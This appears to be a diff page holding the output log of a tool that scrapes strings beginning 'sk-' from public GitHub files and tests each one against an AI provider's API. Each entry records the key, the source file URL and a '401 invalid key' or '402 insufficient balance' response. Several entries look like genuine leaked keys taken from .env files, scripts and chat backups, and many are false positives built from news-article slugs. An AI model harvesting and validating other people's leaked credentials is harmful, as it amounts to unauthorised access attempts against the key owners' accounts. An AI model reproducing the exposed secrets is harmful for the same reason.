sk-Ol1VX7IiknlhWk5kMfOK6ltkB34qR7e3RkirMd5xhAxdGmuhsGvSMzCbLNLftDIM|https://github.com/SHORiN-KiWATA/rime-llm-translator/blob/08b6410a556c25f13ce25567a5fc8764eac8aae2/src/default_state.json|401: {
"error": {
"message": "Invalid API Key",
"param": "Please provide valid API Key",
"code": "401",
"type": "invalid_key"
sk-model-cn-kaldi-multicn-0|https://github.com/FenZhongMY/Embedded-C-C-Code-Standard-Checker/blob/d4adfbab82c146da29837ccaf109e568a27fcad5/README.md|401: {
"error": {
"message": "Invalid API Key",
"param": "Please provide valid API Key",
"code": "401",
"type": "invalid_key"
sk-cp-jYDfXMOzr_mcy8KLNayEe0QsN_15CDdLAA9GQWqeHHvxBE5-lWrtlnSWkNmiacQjyu2X1WvWi_xkwM9BoO4BdTO7y67_iTU3Mn_rIrgRkshoCWVF6f2RtKo|https://github.com/zw093x/openclaw-workspace/blob/45bea9148798cd3fbc93829ac5b522fd4f8c9da4/memory/feishu-chat-backup/2026-04/2026-03-28/session-abeab5d6.txt|401: {
"error": {
"message": "Invalid API Key",
"param": "Please provide valid API Key",
"code": "401",
"type": "invalid_key"
sk-cd29e1ac-5ce7-4bb5-b2e8-ae532b54a234|https://github.com/yutianyu111602-glitch/wechathtmldownload/blob/35391d4638bc36f16eba9ce008a70de67011bb87/tools/stage7_rewrite/scripts/yuanbao_mimo_recover_posters.py|401: {
"error": {
"message": "Invalid API Key",
"param": "Please provide valid API Key",
"code": "401",
"type": "invalid_key"
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|https://github.com/zw093x/openclaw-workspace/blob/45bea9148798cd3fbc93829ac5b522fd4f8c9da4/memory/feishu-chat-backup/2026-04/2026-03-28/session-abeab5d6.txt|401: {
"error": {
"message": "Invalid API Key",
"param": "Please provide valid API Key",
"code": "401",
"type": "invalid_key"
sk-cp-jYDfXMOzr_mcy8KLNayEe0QsN_15CDdLAA9GQWqeHHvxBE5-lWrtlnSWkNmia|https://github.com/zw093x/openclaw-workspace/blob/45bea9148798cd3fbc93829ac5b522fd4f8c9da4/memory/feishu-chat-backup/2026-04/2026-03-28/session-abeab5d6.txt|401: {
"error": {
"message": "Invalid API Key",
"param": "Please provide valid API Key",
"code": "401",
"type": "invalid_key"
sk-ai-models-physics-robots|https://github.com/flyryan/ai-news-aggregator/blob/3803a9e4bb66d541632cb3e91322224ad7834eff/web/data/2025-12-29/reddit.json|401: {
"error": {
"message": "Invalid API Key",
"param": "Please provide valid API Key",
"code": "401",
"type": "invalid_key"
sk-youtube-ai-chatbot-search|https://github.com/jacky-wzj/ai-news-daily/blob/f57588375ebb0bc7282df5b24d381bb08455e4d5/public/2026-04-28.html|401: {
"error": {
"message": "Invalid API Key",
"param": "Please provide valid API Key",
"code": "401",
"type": "invalid_key"
sk-predicts-ai-create-universal-high-income-make-saving-money-unnecessary|https://github.com/flyryan/ai-news-aggregator/blob/3803a9e4bb66d541632cb3e91322224ad7834eff/web/data/2025-12-29/reddit.json|401: {
"error": {
"message": "Invalid API Key",
"param": "Please provide valid API Key",
"code": "401",
"type": "invalid_key"
sk-altman-trial-openai-jury-selection|https://github.com/ghsaboias/ai-newsletter/blob/0e528c1e324247650cf5d8e0b858aa7429b8098f/pipeline/output/ai/2026-04-28/.prompt-hw.md|401: {
"error": {
"message": "Invalid API Key",
"param": "Please provide valid API Key",
"code": "401",
"type": "invalid_key"
sk-v-altman-jurors-dont-like-elon-musk|https://github.com/ghsaboias/ai-newsletter/blob/0e528c1e324247650cf5d8e0b858aa7429b8098f/pipeline/output/ai/2026-04-28/.prompt-hw.md|401: {
"error": {
"message": "Invalid API Key",
"param": "Please provide valid API Key",
"code": "401",
"type": "invalid_key"
sk-boost-new-yorker-article-sam-altman-x|https://github.com/ghsaboias/ai-newsletter/blob/0e528c1e324247650cf5d8e0b858aa7429b8098f/pipeline/output/ai/2026-04-28/.prompt-hw.md|401: {
"error": {
"message": "Invalid API Key",
"param": "Please provide valid API Key",
"code": "401",
"type": "invalid_key"
sk-altman-openai-trial-jury-selection-begins|https://github.com/ghsaboias/ai-newsletter/blob/0e528c1e324247650cf5d8e0b858aa7429b8098f/pipeline/output/ai/2026-04-28/.prompt-hw.md|401: {
"error": {
"message": "Invalid API Key",
"param": "Please provide valid API Key",
"code": "401",
"type": "invalid_key"
sk-wheeled-around-washington|https://github.com/Neurabuzz/neurabuzz/blob/3aaed208033a98b6b5b671c515350c9e9b87897b/archive/2025/5/2025-05-01-14_news.html|401: {
"error": {
"message": "Invalid API Key",
"param": "Please provide valid API Key",
"code": "401",
"type": "invalid_key"
sk-accuses-wsj-of-lying-about-tesla-looking-for-a-new-ceo|https://github.com/Neurabuzz/neurabuzz/blob/3aaed208033a98b6b5b671c515350c9e9b87897b/archive/2025/5/2025-05-01-14_news.html|401: {
"error": {
"message": "Invalid API Key",
"param": "Please provide valid API Key",
"code": "401",
"type": "invalid_key"
sk-mark-zuckerberg-donald-trump-billionaire-losers-maga|https://github.com/bojanadejanovic/hn-scraper/blob/d7e6af295f15c1f48d1ed9acd5795597745bed9d/docs/data/hn-digest-2025-05-06.csv|401: {
"error": {
"message": "Invalid API Key",
"param": "Please provide valid API Key",
"code": "401",
"type": "invalid_key"
sk-threatened-to-deport-engineers-who-exposed-flaws-in-tesla-cars|https://github.com/bojanadejanovic/hn-scraper/blob/d7e6af295f15c1f48d1ed9acd5795597745bed9d/docs/data/hn-digest-2025-05-06.csv|401: {
"error": {
"message": "Invalid API Key",
"param": "Please provide valid API Key",
"code": "401",
"type": "invalid_key"
sk-and-altman-face-off-in-trial-that-will-determine-openais-future|https://github.com/Yumi-note/Manage_SNS_Project/blob/427998944b931d94d759196bcd9a297d6d8135be/global-trend-jp-publisher/data/news/2026-04-28/073220/index.html|401: {
"error": {
"message": "Invalid API Key",
"param": "Please provide valid API Key",
"code": "401",
"type": "invalid_key"
sk-ceo-doge-trump-1851778600|https://github.com/Neurabuzz/neurabuzz/blob/3aaed208033a98b6b5b671c515350c9e9b87897b/archive/2025/5/2025-05-01-14_news.html|401: {
"error": {
"message": "Invalid API Key",
"param": "Please provide valid API Key",
"code": "401",
"type": "invalid_key"
sk-and-sam-altman-are-going-to-court-over-openais-future|https://github.com/Yumi-note/Manage_SNS_Project/blob/427998944b931d94d759196bcd9a297d6d8135be/global-trend-jp-publisher/data/news/2026-04-28/073220/index.html|401: {
"error": {
"message": "Invalid API Key",
"param": "Please provide valid API Key",
"code": "401",
"type": "invalid_key"
sk-vpmpbtccfubhujvleqpnxgmhrowggbioouqshcuscfrijmgh|https://github.com/MrZhang-Developer/newChatBIProject/blob/5ad1619922341c9533b050ae93c0221a5d5ed757/.env|401: {
"error": {
"message": "Invalid API Key",
"param": "Please provide valid API Key",
"code": "401",
"type": "invalid_key"
sk-bd73c6dd6a124923ac287093ad036c97|https://github.com/YakutsukuriYuu/yakutsukuriyuu.github.io/blob/5e0bee78430f8b34040e315df2ac3d285a329932/content/posts/2026-05/litellm-ai-gateway/index.md|401: {
"error": {
"message": "Invalid API Key",
"param": "Please provide valid API Key",
"code": "401",
"type": "invalid_key"
sk-4871e6817dd961100f1a1e6fab540bfdea12f464f55da6ef|https://github.com/YakutsukuriYuu/yakutsukuriyuu.github.io/blob/5e0bee78430f8b34040e315df2ac3d285a329932/content/posts/2026-05/litellm-ai-gateway/index.md|401: {
"error": {
"message": "Invalid API Key",
"param": "Please provide valid API Key",
"code": "401",
"type": "invalid_key"
sk-fdf066b5724d4c31a7f68c1095aa22cd|https://github.com/S14260/smartAgri/blob/0168fdc6c4140535bee3848de1af50ca7a297686/docs/changelog/phase2-5-bugfix-and-polish.md|401: {
"error": {
"message": "Invalid API Key",
"param": "Please provide valid API Key",
"code": "401",
"type": "invalid_key"
sk-md-1767778749952-473181546239243805696|https://github.com/MrZhang-Developer/newChatBIProject/blob/5ad1619922341c9533b050ae93c0221a5d5ed757/.env|401: {
"error": {
"message": "Invalid API Key",
"param": "Please provide valid API Key",
"code": "401",
"type": "invalid_key"
sk-just-doesnt-understand-the-sci-fi-visions-of-iain-m-banks|https://github.com/bojanadejanovic/hn-scraper/blob/d7e6af295f15c1f48d1ed9acd5795597745bed9d/docs/data/hn-digest-2025-05-02.csv|401: {
"error": {
"message": "Invalid API Key",
"param": "Please provide valid API Key",
"code": "401",
"type": "invalid_key"
sk-s-spacex-set-to-make-history-with-record-breaking-ipo|https://github.com/ghsaboias/ai-newsletter/blob/0e528c1e324247650cf5d8e0b858aa7429b8098f/pipeline/output/ai/2026-06-12/.prompt-world.md|401: {
"error": {
"message": "Invalid API Key",
"param": "Please provide valid API Key",
"code": "401",
"type": "invalid_key"
sk-questions-in-conversation|https://github.com/bojanadejanovic/hn-scraper/blob/d7e6af295f15c1f48d1ed9acd5795597745bed9d/docs/data/hn-digest-2025-05-02.csv|401: {
"error": {
"message": "Invalid API Key",
"param": "Please provide valid API Key",
"code": "401",
"type": "invalid_key"
sk-x6uKd28EmxXzgCCrWjI51MRrIzTchpugAxUshTr3mrgO7NH0zj_0YhA7yyJaWYBX2qQWjM-Ct4255Cxoy7O2dYzA0fxscbNNo-k9Sj4B0u1CuRV7x_80H1im0YK-xRQvV5s6b7UVUcoKwTA07qdrb8uNETKbt_NAdlpShwbJOpSE327-CuRSMhAzzsKSQHx68sqcA9wK5XCHtQjaBPRZ9-XikIX41VF2CY5hm9ZG8nm8eR4GVq4IEPesQGH8_Wb5dQCvtMPJsD0bF-7Gzu0p18rSK8BdIVsnBdru9D5MqPHoskPHfGj4me43aGipVSIo9o40e42zHWjDHV24JWGXOq9fQhdHn9Eh32j9IKbV11-eFnGeD_YKJdXvgzSk3ZNW746vY5WjeVsRD_kj_LfdJt_cmTHVZZ3QVzXaTst8f4B-rbWeQZUuALl02Umym5durSgxj3Jd9305tCL-QO-B89wbghFLqbveNShhfbb2TVGL_34CU7TYo-l25muh3JzZI96tZjtiRDE8qMrUNN_e_P2RZGok11qrPDeyGDDdNxBbaBSSMEmVT1j4_F-Isg1oX9IvIyPX0C-x4ZeftZKLMbAVZwAGBld17j0resk5SPFIFVu5KFTWvcGDd1wG7kgKpVEYHaEQ-MxBzpnrQyRSba055ZfH_yxdX9foOszI_49Kqb3snp5tu1A46OLcMgcgMv0ERY-LLtTcjbRLBI6hTqvOKiMyntixqmxHOfx6-5rL7U2dHVRzbPE46HM4iukmdaCnf7ibmsDTW6b0cSinuXRcNUxW1ceYcvUv7vUUZU5hdF4Mqr66s7Fo8qd1BPNnb0VEMFIvKWa56A7Ne7fM6tevnGFTBSxJu--GX7_GyhffGj3ybRbAj3P3VNafB9rzS-_KfLmFSRymC62r5gJQScQkgAQUFSy0T9zj2yJ9e9KX_DnyczHRGLkTubD9MMggMYCaMNiWKQl6ErCXa7g4ZsuAWubquQ_wA7RmB4XQfQj4-jpZFuH3mJsjQXfJ03-rHVCWI6FisyDcdp_PXTx8oEebuGeQpzjlhn6otXE3iyXlFCsNvghHeW1S-3PF75U4puwxQvGtrr-y34LCg9grBQfAABAP_MwyuuAdpdG33AHT5fADVZAu-P7ZlD2K4G5rvXmW4V0wZPOiFCioxGf5mkQ7EJ4c1NymjHpdXJosm4YZvmi-vLu9rcMHx2Urqs1hQvZX4hV44UbUbzrXcHyTqkzfTmwYlBmAJeLcjnJNGL3BX-99LijvRAmka0NV6yHvUcE9qGYU-hCfTPA5TiC2Pb7VEHn65aFWfBYb902VTxSDDMER_fOYRbfp0UpyMJk0LRq1z10j65JwwluLvrfBxiwKn6_R-RqP_LWuRJekyv7GADRyNM2cUuwmA0n3xw22aMoy815kzeDg7vgEqS7eD0FAcjV1Fet3NjuVBETCHKDRKyLKmUCvUT3LMtoEyKOcv16GJuxcNMpS6Q4KBFRabw3tm6wtmahAtkV4S81sRh6UUz-X98yBVYRQROCP-_4iaHg2EtLR0QZrX1lf6z74M9OYI|https://github.com/vtomnet/tests/blob/7c1fcef08f3fcfa54809aafffb5401d415f2f9df/bench/pi.d/sessions/2026-04-25T10-43-08-203Z_019dc43c-6f2b-71eb-a1c6-80c1f3076ab9.jsonl|401: {
"error": {
"message": "Invalid API Key",
"param": "Please provide valid API Key",
"code": "401",
"type": "invalid_key"
sk-xchat-app-is-more-like-facebook-messenger-than-signal|https://github.com/Yumi-note/Manage_SNS_Project/blob/427998944b931d94d759196bcd9a297d6d8135be/global-trend-jp-publisher/data/news/2026-04-27/214913/tech_news_digest.json|401: {
"error": {
"message": "Invalid API Key",
"param": "Please provide valid API Key",
"code": "401",
"type": "invalid_key"
Whitespace-only changes.
@@ -0,0 +1,40 @@
sk-cfbsyiff06wjmifljcxdln82fsf3p17db54e68w8hbngbq11|https://github.com/plussign/ai-playground/blob/4afb4d348ddf90d7ad4a587bb5717b22ccacb127/mimo/mimo_tts_demo.py|402: {
"error": {
"code": "402",
"message": "Insufficient account balance",
"type": "insufficient_balance"
}
}
sk-ck49fnhqcb9uo91pqjvra4o53or7hahiyrhps2ztsedcl0mi|https://github.com/yun-qilong/flow_hub/blob/83a2961905f1a9e21715097407346f89b09d35b7/src/main.cpp|402: {
"error": {
"code": "402",
"message": "Insufficient account balance",
"type": "insufficient_balance"
}
}
sk-sjuovlykk2ryx2nlgy4gux0glsexekl81f1cf075vglrakkz|https://github.com/pimaksinsaat-cmyk/kiralama_projesi_v4/blob/d2485ed8ab1652e1c54f84e68ef15ddb1a53ea73/kilo.jsonc|402: {
"error": {
"code": "402",
"message": "Insufficient account balance",
"type": "insufficient_balance"
}
}
sk-c3ik1rbky5s8wejpwvjj3hufs7gh544ybxfxzts4jzb0cw19|https://github.com/zw093x/openclaw-workspace/blob/45bea9148798cd3fbc93829ac5b522fd4f8c9da4/memory/feishu-chat-backup/2026-04/2026-03-28/session-abeab5d6.txt|402: {
"error": {
"code": "402",
"message": "Insufficient account balance",
"type": "insufficient_balance"
}
}
sk-cd8fqe8x34tti4t4tfw9d8ktss9pg5l3eq3d2u0dmf0h3lco|https://github.com/zly7/EcoBrain/blob/e8d94f936eb208d299f19f887348c49f955d7a2f/start_backend.ps1|402: {
"error": {
"code": "402",
"message": "Insufficient account balance",
"type": "insufficient_balance"
}
}
Loaded 100 of 684 files, more files were not shown because too many files have changed in this diff. Show more